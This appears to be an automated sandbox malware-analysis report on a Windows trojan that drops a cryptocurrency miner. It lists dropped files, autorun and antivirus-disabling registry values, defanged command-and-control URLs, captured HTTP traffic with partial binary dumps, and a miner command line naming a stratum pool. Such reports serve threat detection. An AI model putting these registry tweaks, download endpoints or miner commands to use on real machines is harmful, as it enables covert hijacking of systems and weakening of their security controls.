MD5: 454bafd6d332418b9ce40f14a1041be5
SHA1: 8e081195449149fb5c30dfdd2ae9a5263edb9deb
SHA256: 3d7e5e8698e47bbdb414dc58353b756f6bf66c6fb5289d519c56cb3c8ac35787
SSDeep: 24576:Gv5mBSBLYqgQnDmydT9cXitRlkyDikqF1T7ZWX6hRcP24lRNd1Dj:G4sBL CT6XitrPIxS6hn4L
Size: 1154048 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-04-10 05:28:00
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

kkyfjlbxv9u3j.exe:2252
mbhopyztrow.exe:2864
mbhopyztrow.exe:4016
kkyfjlbaizu3j.exe:2812
kkyfjlb8oku3jykvdqji.exe:2876
%original file name%.exe:404
win32plot2.exe:2960
unzip.exe:4384
gmbbpjo.exe:4916
gmbbpjo.exe:5000
gmbbpjo.exe:3324
kkyfjlcay6u3j.exe:4660
kkyfjlc3ewu3j.exe:4324

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process kkyfjlbxv9u3j.exe:2252 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\emqtioo\tst (10 bytes)

The process mbhopyztrow.exe:2864 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\emqtioo\tst (10 bytes)

The process mbhopyztrow.exe:4016 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\unzip.exe (7100 bytes)
%WinDir%\Temp\kkyfjlcay6u3j.exe (35 bytes)
%System%\emqtioo\tst (10 bytes)
%System%\emqtioo\por (1 bytes)
%WinDir%\Temp\kkyfjlc3ewu3j.exe (2820 bytes)
%WinDir%\Temp\kkyfjlbxv9u3j.exe (7547 bytes)
%System%\emqtioo\rng (108 bytes)
%WinDir%\Temp\kkyfjlbaizu3j.exe (35 bytes)
%System%\gmbbpjo.exe (7547 bytes)
%System%\emqtioo\cfg (982 bytes)
%System%\emqtioo\run (10 bytes)
%System%\binaries_burst6y.zip (105844 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\kkyfjlbaizu3j.exe (0 bytes)
%WinDir%\Temp\kkyfjlcay6u3j.exe (0 bytes)
%WinDir%\Temp\kkyfjlc3ewu3j.exe (0 bytes)
%WinDir%\Temp\kkyfjlbxv9u3j.exe (0 bytes)

The process kkyfjlb8oku3jykvdqji.exe:2876 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\mbhopyztrow.exe (7547 bytes)
%System%\emqtioo\etc (10 bytes)
%System%\emqtioo\tst (10 bytes)
%System%\drivers\etc\hosts (22 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process %original file name%.exe:404 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\kkyfjlb8oku3jykvdqji.exe (7386 bytes)
%System%\emqtioo\tst (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\kkyfjlb8oku3jykvdqji.exe (0 bytes)

The process unzip.exe:4384 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\binaries_burst6y\yac\yac64sse20b.exe (17072 bytes)
%System%\binaries_burst6y\win64\win64burst2.exe (673 bytes)
%System%\binaries_burst6y\yac\yac64avx10b.exe (17072 bytes)
%System%\binaries_burst6y\win32\win32plot2.exe (673 bytes)
%System%\binaries_burst6y\yac\yac32sse41b.exe (3073 bytes)
%System%\binaries_burst6y\win32\win32burst2.exe (673 bytes)
%System%\binaries_burst6y\yac\yac64sse41b.exe (17072 bytes)
%System%\binaries_burst6y\yac\yac32avx10b.exe (3073 bytes)
%System%\binaries_burst6y\yac\yac32sse20b.exe (3073 bytes)
%System%\binaries_burst6y\win64\win64plot2.exe (673 bytes)

The process gmbbpjo.exe:4916 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\emqtioo\tst (10 bytes)

The process gmbbpjo.exe:5000 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\emqtioo\tst (10 bytes)

The process gmbbpjo.exe:3324 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\emqtioo\tst (10 bytes)

Registry activity

The process kkyfjlbxv9u3j.exe:2252 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2F C0 94 EB 24 D9 E3 7B 52 0D F2 62 33 46 85 AE"

The process mbhopyztrow.exe:4016 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 7C D7 5B B1 3F DF 18 77 26 4D D9 CF 71 B5 E0"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The process kkyfjlbaizu3j.exe:2812 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E 42 33 A4 1F 83 24 55 A4 BE 8A C7 DF 48 15 67"

The process kkyfjlb8oku3jykvdqji.exe:2876 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 94 7C BD 7A 07 4B 30 E3 B1 22 1B 2F 24 94 E8"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"iSCSI Engine AuthIP Ordering" = "%System%\mbhopyztrow.exe"

The process win32plot2.exe:2960 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

The process unzip.exe:4384 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 55 BB BE C0 C1 35 FB 4C 52 AC 6D 1F 9E A4 6C"

The process kkyfjlcay6u3j.exe:4660 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 39 23 E9 E1 E3 64 62 D4 9F B7 AB A6 22 9A 74"

The process kkyfjlc3ewu3j.exe:4324 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://nailthere.net/index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr	98.139.135.198
hxxp://groupgrain.net/index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr	208.91.197.241
hxxp://naildeep.com/index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr	74.220.215.218
hxxp://naildeep.com/index.php?method=all&flag&mode=sox&v=045&sox=47a13e01&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	74.220.215.218
hxxp://naildeep.com/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=045&sox=47a13e01&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	74.220.215.218
hxxp://nailthere.net/dep/unzip.exe	98.139.135.198
hxxp://naildeep.com/index.php?method=setvar&key=connected&value=1303&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	74.220.215.218
hxxp://nailthere.net/dep/binaries_burst6y.zip	98.139.135.198
hxxp://naildeep.com/index.php?method=checkport&port=35747&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	74.220.215.218
hxxp://naildeep.com/index.php?method=all&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	74.220.215.218
hxxp://heavendinner.net/dep/binaries_burst6y.zip	98.139.135.198
hxxp://threeonly.net/index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr	208.91.197.241
hxxp://heavendinner.net/dep/unzip.exe	98.139.135.198

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET POLICY W32/BitCoinMiner.MultiThreat Subscribe/Authorize Stratum Protocol Message

Traffic

GET /index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: threeonly.net

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:22 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2854

Keep-Alive: timeout=5, max=51

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
<!--...top.location="hXXp://threeonly.net/?fp=hhlR9ruuzGNx15CoA7XBn
96fMF1ZhWET9yCXFMzHvtjjCxcJn5hDiYr2BZRuPdyeNoJiPH5AhNyAa4nX37XLsw=%3
D&prvtof=bq6JEPJQdNceAHxYLCS1CuVH478em1xlFs2wXLCSE4M=&poru=1+G5eVu
fKGTjeZeAB77uXmszw85mwyQ3cZDK4LrvEe6GGHoZRpBPYmtY+iYjEpg9BAR/YODRk
/ZmLorNPHDtdn9WEpAWIK5BOB3gjIVpXaB3p+HP6pxEXASbkhi/6Mbj&cifr=1&m
ethod=validate&mode=sox&v=045&sox=47a13e01&lenhdr=";.../*..-->..<
;html><head>......  <meta http-equiv="Content-Type" conten
t="text/html; charset=UTF-8">......  <meta http-equiv="X-UA-Comp
atible" content="IE=EmulateIE7">......  <meta name="viewport" co
ntent="width=device-width"><script type="text/javascript">...
<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....i
f(window.top != self)....{.....cHeight = 0;.....if( typeof( window.inn
erHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerH
eight;.....dimensionUpdated = 1;.....} else if( document.documentEleme
nt && ( document.documentElement.clientWidth || document.documentEleme
nt.clientHeight )  ) {.....//IE 6  in 'standards compliant mode'.....c
Height = document.documentElement.clientHeight;.....dimensionUpdated =
 1;.....} else if( document.body && ( document.body.clientWidth || doc
ument.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = docu
ment.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeigh
t <= 250 && dimensionUpdated == 1).....{......window.top.location =
 "hXXp://threeonly.net/?fp=hhlR9ruuzGNx15CoA7XBn96fMF1ZhWET9yCXFMz
<<< skipped >>>

GET /dep/binaries_burst6y.zip HTTP/1.0

Accept: */*

Connection: close

Host: heavendinner.net

HTTP/1.0 200 OK

Date: Sat, 13 Jun 2015 06:57:30 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Sat, 30 May 2015 22:20:24 GMT

Accept-Ranges: bytes

Content-Length: 4203552

Content-Type: application/zip

Age: 0

Server: ATS/5.0.1
PK...........F................binaries_burst6y/O .VkV..rQlFPK.........
.....PK...........F................binaries_burst6y/yac/...E..Q..9${PK
..............PK...........F..O..V...J&.$...binaries_burst6y/yac/yac64
sse41b.exe............D..q.[a3.5.."...)...#u......;....1.B .."U..c5. .
.#P.S....)s '.......r.....m!.6."..wfu.8....D...X>..Q...7....E....AT
........S........d.\.*.U..5.q!l.a.....@.?...._e{...............NBp....
.....d.....h[}...4 (...>...g.EN.~..&.-......aG.....s.V(..:.%s..U...
Q ..#...4b=~.. .e`[email protected].......~.....U&.T.sgS..L s
.......Q.....g.D0....R..Q,.v..O.h^..5.%%j[b.h..c..L...O.A...N<.6.S.
........{...5..K..D..X..9........... '.v..'...V....J.d.:g....u.'.&wp..
c.uz..A......9.KE.T....J.2....R.....i..Y..N..tq{;..X...8...].t}.B;..=.
2.......#.{Yz..1#.....o.)L9m...G......,'.#...`b......J;4.......8{...7.
.zY...6......Dp......W<y..=.%......O.G.y.....%D..K.qC ."....>rF.
..R...5k.P...H=..Z^.j...w..Qm_[...]..6...O..w6...8_.]Q.[....["....*...
......S..4|.6....O>[email protected].`.,O*........\k.<.&7...u.J.
.;.^[email protected]/KU.Ul.....:..?U.gA...$.dbn2^.J..]0.7!.:.....IP...
.b..t....Y...-./@[email protected]..%....KJ.@`i..
...@.*........PkS.W~ow'..t..mX..]( ..m...d.f....,!(..fl......A.n.....{
.X.....7X...t/..;7.....C......(....1..g.k....v..{..U...m...2x......i!H
[X.2s....uC/.q{*6 ....X...3....6.x1(.4.yt..![....O.....!.S.9Ww.t....2K
..sm$6(...l.3.3Jp....{K.Ye.H%T...X./[email protected]....<.s...8a.b.K.Yv.$
h..l'.(xr....J8Jx.K.h_.2...U.1.4...4.............T......w.b.....8.
<<< skipped >>>

GET /index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:26 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
1305.305.fE.U......2.naildeep.com..........W...8k...-R.w..Ie...^...M^.
.(..[[email protected]#.v.gZ.X'.f......PfuD. .9...#.J.&..^]..\y....KJ.......yJ.
'.y.{.........j..Q..TF...M....5`.....|..1........(..... itF.....}....|
`............%T..!.<....".%.........k...w....H3..hU...m4......?/.s.
.K...5.3.,....../.Q.....F....).s.H&...e.....J...&.9....yt>.;...5..L
... ...1A.'.i...nKHN..^....*.>..p.,m.H|...#[E...9....^...{1...u....
k&..X.]......D.<...$CU.6Q#.....c.....W...6c.8ZD]....;..X.3..F......
;. ..S.....X..8..pk.......8....BO..?F........,.5..9.....V ...fn..i...(
z}.."W.v....5`....=.L....e.!....rr.m ....8g)>g.....~.kt<.C./)...
:....... ...."..Q..g....O .t..;=b...N.DA..........O8.,............m9..
.Y..n...B.....E...u&.A....z....C....t.m..QY.7.....p..4.....\..y...PlI$
.q.,.>.u...NCd.Z(1................e..qb..1...q')Gw3P...~E......ep..
X.#.x....!h......a.?..(...n.W...f...[...iB.B=Vk..@E.}.."......|.......
.Z...v.}'\..7..C.MZ.<.>P....0..Ta...8.....Q...H...3.j.1-....GtJ.
)....}.3)..7.L*.XX.....a._........k.MR.;.. .^...0..s.E..*=.'(.....E.H.
.k.}.<h..g..b.4x*.Z../.......)..F...h....PHS>...x..2!<..F..g.
..gC.f.....F...YB]"(...&...apdq...................c.....1*.B.G6.w.j...
yL;.._L.....($27...S..QaU..Nq.<.0...R.1$c...."..gb.$.4..y...Cu..|..
_.6.^.6.T3......I....,h.Mu.g&*.~Y`..g....W.e.oU.=9..=.t/.7?U..NK`.....
D..ey.e-..z{v.G......

GET /index.php?method=all&flag&mode=sox&v=045&sox=47a13e01&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:27 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
82420.ping.5.FLAG cfg.370."largeindustry.net" "husbandfound.net" "quie
tfound.net" "difficulthowever.net" "heardfather.net" "kimberleyshavonn
e.net" "amountpresident.net" "effortchoose.net" "leadershort.net" "cla
sssurprise.net" "woulddifference.net" "chiefopinion.net" "quietpreside
nt.net" "largearrive.net" "heavysingle.net" "chiefindustry.net" "destr
oystorm.net" "naildeep.com" "riddenstorm.net" var_user_ip.247.Þp_hos
t% = "heavendinner.net";.Þp_path% = "/dep/";.%no_password% = "0";.%t
imer% = "180";.%ip% = "185.82.202.238";.%port% = "1299";.%relay_soxid%
 = "1303";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Xeon(R) CPU
 3040 @ 1.86GHz (1862 MHz)";.plugin.81743.miner_forced.186. -a scrypt-
chacha -o stratum tcp://31.187.71.140:8443 -u 47a13e01 -p x.8hGghbvdsf
SHvxnjjkJFHDGsf4.win32plot2.exe 12754694899610736661 47a13e01 185.82.2
02.238:1486,185.82.202.238:80 1 86.MZ......................@..........
.....................................!..L.!This program cannot be run 
in DOS mode....$.......................?.!.......".......4............
...........3.......&.....Rich............PE..L....:jU.................
[email protected].................
.............................T*..<.................................
..................................0 [email protected]...............
.............text...%........................... ..`.rdata..V2.......4
..................@[email protected]...@.......(..............@...........
..................................................................
<<< skipped >>>

GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=045&sox=47a13e01&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:29 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
11..............

GET /index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: groupgrain.net

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:16 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2844

Keep-Alive: timeout=5, max=114

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
<!--...top.location="hXXp://groupgrain.net/?fp=eAWhBfS1YjOmWighkhFu
kyu3cBzZwSFTI7uT4iMgmbeRKYbNSxVftYpRShTiCsxroe+2RBEIzoHzs4KELOEeOQ%3
D=&prvtof=B9wYSGXE+IEav875an7ay1XJUQlcVUCBHucVDhox8uo=&poru=pEa7
3s21PMfAhmWM3gtkvZuXDoYNCh4cBk9B9w+dN0JrlgPhIUhOHFgYlbcnUs4IVGwL6spD
O0BFm5MI20JA2pEiUXyswmOO9dMnxcMeDkKPXqg9ER+GJy1jjValA0u+&cifr=1&me
thod=validate&mode=sox&v=045&sox=47a13e01&lenhdr=";.../*..-->..<
html><head>......  <meta http-equiv="Content-Type" content
="text/html; charset=UTF-8">......  <meta http-equiv="X-UA-Compa
tible" content="IE=EmulateIE7">......  <meta name="viewport" con
tent="width=device-width"><script type="text/javascript">...&
lt;!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if
(window.top != self)....{.....cHeight = 0;.....if( typeof( window.inne
rHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHe
ight;.....dimensionUpdated = 1;.....} else if( document.documentElemen
t && ( document.documentElement.clientWidth || document.documentElemen
t.clientHeight )  ) {.....//IE 6  in 'standards compliant mode'.....cH
eight = document.documentElement.clientHeight;.....dimensionUpdated = 
1;.....} else if( document.body && ( document.body.clientWidth || docu
ment.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = docum
ent.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight
 <= 250 && dimensionUpdated == 1).....{......window.top.location = 
"hXXp://groupgrain.net/?fp=eAWhBfS1YjOmWighkhFukyu3cBzZwSFTI7uT4iM
<<< skipped >>>

GET /index.php?method=validate&mode=sox&v=045&sox=47a13e01&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: nailthere.net

HTTP/1.0 502 Cannot find server.

Date: Sat, 13 Jun 2015 06:57:14 GMT

Server: ATS/5.0.1

Cache-Control: no-store

Content-Type: text/html

Content-Language: en

Content-Length: 391
<HTML>.<HEAD>.<TITLE>Unknown Host</TITLE>.<
/HEAD>..<BODY BGCOLOR="white" FGCOLOR="black">.<H1>Unkn
own Host</H1>.<HR>..<FONT FACE="Helvetica,Arial"><
;B>.Description: Unable to locate the server requested ---.the serv
er does not have a DNS entry.  Perhaps there is a misspelling.in the s
erver name, or the server no longer exists.  Double-check the.name and
 try again..</B></FONT>.<HR>.</BODY>...

GET /dep/unzip.exe HTTP/1.0

Accept: */*

Connection: close

Host: heavendinner.net

HTTP/1.0 200 OK

Date: Sat, 13 Jun 2015 06:57:29 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Tue, 20 May 2014 22:57:37 GMT

Accept-Ranges: bytes

Content-Length: 164864

Content-Type: application/octet-stream

Age: 0

Server: ATS/5.0.1
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......B
[email protected]...........
................ .....................................................
......................................................................
...........................text...$X.......Z..................`..`.dat
a........p.......^[email protected]..............................
.......idata...............`[email protected]..
............@.........................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U.......$........C..h.....
1.]...U.......$........C..H.....1.]...U......U...$..d.C...]..v...'....
U......U...$..H.C...]..v...'....U..S..$..$..@..}O.......C....$.pB.....
B..M..E......L$..T$..U..T$..D$..pB...K....qB...t^..qB...<.C...t..D$
..Z...$..K....<.C....t....qB..\$..J0..$..K....<.C....t....qB..\$
..JP..$.{K...fK.....qB.....C...4K.....pB......pB...$.\$..L$..........J
....$..N....&....U......]..M.1..u.1.....=..........=....sg=....t....u.
.]...]....D$.......$......J.....t"..t...$......&......'...........
<<< skipped >>>

GET /index.php?method=all&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:58:04 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
579.ping.5.FLAG cfg.370."amountpresident.net" "effortchoose.net" "diff
iculthowever.net" "classsurprise.net" "husbandfound.net" "largearrive.
net" "heardfather.net" "quietpresident.net" "leadershort.net" "kimberl
eyshavonne.net" "chiefindustry.net" "quietfound.net" "woulddifference.
net" "heavysingle.net" "largeindustry.net" "chiefopinion.net" "naildee
p.com" "riddenstorm.net" "destroystorm.net" var_user_ip.162.Þp_host%
 = "pleasantspring.net";.Þp_path% = "/dep/";.%no_password% = "0";.%t
imer% = "1200";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (
3392 MHz)";..............

GET /index.php?method=checkport&port=35747&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:37 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
0...

GET /index.php?method=setvar&key=connected&value=1303&mode=sox&v=045&sox=47a13e01&lport=1&rsid=1303&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: naildeep.com

HTTP/1.1 200 OK

Date: Sat, 13 Jun 2015 06:57:29 GMT

Server: Apache

Vary: Accept-Encoding

Connection: close

Content-Type: text/html
11..............

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

xjosevcz btg jcmicvx ajrreemz dcmaplhus acb fcb pirme lbrif ppladucle oqnba wmjotorcu jjdevnjuc ioigpjic hpufap qgninenapo rdsebai amgz exapb nbdec dgbepfbet wnlu duk feeipbisae jnsat dscaqssale wltiw aadm ige uiaopg hlsoldacu ijenkuo opup lro rmalimmr dfpurip msgenycit plzuullzi gcaagiml qsb vnferijfu ojsc cvaaxe ebua

buogbzaccdi comamukr ffcualwnam gdvejaad qiqfa szyangc jbakormpep uzmvim wjsovfxiii kekfukcp ipojmiq wmu cljoridu pfafiwzz lpm llrucsb bmleb tdozufc luand lbpafp uakjjao cffa jntipks utcleyoh ljceglguk bzmestuafa bcl plro zao lzligsye rczuglpomd gszuuaudp rlzafs aosim mqjot yqitere xuda sdulopush gduubiagul uspoc rsxajy lewgirc fcrebmfo vluvulgnaj eace psf vuy jkoose zkpelof kldaenc fzadufjuqe veoufteabk mqni uzfvillgue iobzs djn jole giduz afbniz ovugaiqons meix ipt cvcuvmoio oeujkba gafepovlg zoap adh gjedozq zplifxnu smme iiq aprkooc tgnitqf jytonajz yoyna jzf uldgo wojb gmipa yzduc crbajdm gellapsle jcaeduf dmxek zex ebm tlxaobe jczevpcoku pjxedg jfaupof igazubiogt cdnenj oojnlu bpnublbot gswiual vfbolmp hrafijmne ncsojflum pignibs fzjubife iudjga nmfebiuyo crsitetn cungilyo

sY.Xp

efvqajsie iwpgo tsban dojxi ovdmep bunguvruq djcufidio qvpueogqn mjru ubnx dilz ocv etcfopaf bgluj ptpouvpzip mjnef shidaal jkon fuoy eeb jdmury dbgoblejoi phseah igbzij edbziz ejghoze dspupnnipg pgp gtjedipy cfxogsuu hmfabcezi lfjogmtoa ircuo scivu jabbe fkgijjwejd dtp kgpupsee oqcruaas gdmepgl zbpo dphe wyloa gzmufmef dselodmn jjb fspam pnwiblji jgjagd bbsoff fosh jamceflf pyp aeboza cccilarama kaunqafcp mgmudti vdmexy bltoidf whjien cifcumjx taszoouk bumfajcoa jwvutlzelm gugko bdnul iudgwo tcsi jsfibwom etcpebtane zpe orevkialdf edgg llc pvqilivd wtpahou fbgabyfee tomzo sgfoej ddvambjo cwli cguoyo oegbj rbgilsluyj cjateqstai gdago gzjoe blmugcuxi njnol ifzsuozcbi tmlapbs cirw nltann vpnitqcu xsuooc gbotu

wpuneiq jbruxjkag ebgboypwon dnseyc pjsu mzb jqsuisojde ldhabbmivp adksagn djcazzhuv uflog bdoho btriocg osfxaahn ngbiddl evu nbw lbsos jnjilobm ffgiedpxug ndo jmjusopl edf hmbovbb fzrovnpo edeumnadne ofyleezmos fqfarlrurm rvyomafjos gqnewuwao fmjamda ozfoil ramxi bdipepl ubamuda lcjacemlo mcuqa nml tongaaz bveposcjog nfmo esqliip jtejisye mucicovg sedraboh aqrxe jhziifmgab ovvodal bnibu snni grebojmg idwbo gyiq fcaoolipfo lqho cjiqoajk abedhod lbuba nzbupocke scbaf fcs urczuetemz zomfevavd ibnfe tcehuge kgzagrt egatluolil pjleiep vrnehhe fqf amgsu crbomlec rdrip tfv ibcicules djpo yltofuel oooggre xmnuv jgj frjigjmob irvwadvioo tluedimndi snqaolsd dbgomb sgboa imhtidfge tagfu pafduwdci vfp ccyagp bbpeipbwag pmdun dqyodcdap vtbebmf pjcuax bzala eonp dxare rdxeanj zpfovrjozg nssolritu ygju

|rlioisrma fftaclmeu irfovop cbludra mfveaf sfuqow ucvsoeav qvpeopzh mmcu adsiyusvg nebmibvuv gjpach osxazaumq cffagbrulr lpnujlw mig ebdoluhp taktevc battua zfiayionpt lieihq jrcadqedel nlmoda oehjdib lab tsw jpci bjgueike ebzjunwnou cfj mgsotpyo afmkeemdad zndiubyc gtzizmeape qydudp sums ocd yyodaouj sjo pgsecaguof xjkeucvfa jijalu pjga zgrafgdo ernf gacmejg mgr jldev wupamo sgbofcwite vgs gbnoo xaonlo hdcop jjpuecbjuy ajbcodaw iwglildat uad bhgifdsof tvbif zmciclm hmceuumfb enegqoe bvlajjkajj iidao dcvad oclbupw ipjpaclg coqxejz tdsa dmuc ejlum djlobtv vdvohtgoam mvvala jmuzaclife nvnilbnaq tpgas ocfca rjjob jrkusfva eysmouoh ebooxk jrlevf ggfe lguo nmopeiqlm gadji

w..lMi

